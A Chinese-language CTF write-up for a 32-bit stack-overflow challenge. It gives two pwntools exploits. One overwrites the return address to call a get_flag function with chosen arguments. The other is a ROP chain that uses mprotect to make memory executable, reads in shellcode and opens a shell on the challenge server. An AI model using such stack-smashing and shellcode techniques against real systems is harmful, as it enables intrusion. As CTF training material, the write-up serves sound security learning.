方法一
我将文件下载后将其重命名为pwn_13,checksec一下
可以直接栈溢出,32位,进入ida
gets(v4)可以栈溢出,这里没找到后门函数,只发现了get_flag函数,进去看看
只要a1,a2满足值便可以输出flag,a1和a2是函数参数,我们可以进行传入,同时为了让get_flag正常结束,我们要使其返回函数为exit()
exp如下
from pwn import*
p=remote('node4.buuoj.cn',26832)
context.log_level='debug'
payload=b'a'*0x38+p32(0x80489A0)+p32(0x804E6A0)+p32(814536271)+p32(425138641)
p.sendline(payload)
p.recv()
这里context.log_level='debug’别删,不然看不到flag
方法二
ida中我们可以发现mprotext函数和read函数
mprotext函数用法如下
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限
简单来说,就是以addr为起始地址将长度为len的内存权限修改为’prot‘。当prot值为7时,代表可读可写可执行。
这时候有了思路,我们可以用mprotext()使一段内存可读可写可执行,然后用read()将构造的shellcode放入这段内存中。
由于mprotext有三个参数,我们pop要用到三个寄存器,ROPgadget一下
这里我用的0x080509a5作为mprotext的返回地址
ida中ctrl+s一下,找个有读写权限的传入mprotext()
我用的是0x80EB000
有了思路就可以写exp了
from pwn import*
p=remote('node4.buuoj.cn',26832)
mprotext_addr=0x806ec80
pop3_addr=0x80509a5
buf=0x80EB000
read_addr=0x806E140
payload=b'a'*0x38+p32(mprotext_addr)+p32(pop3_addr)+p32(buf)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(buf)+p32(0)+p32(buf)+p32(0x200)
p.sendline(payload)
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(shellcode)
p.interactive()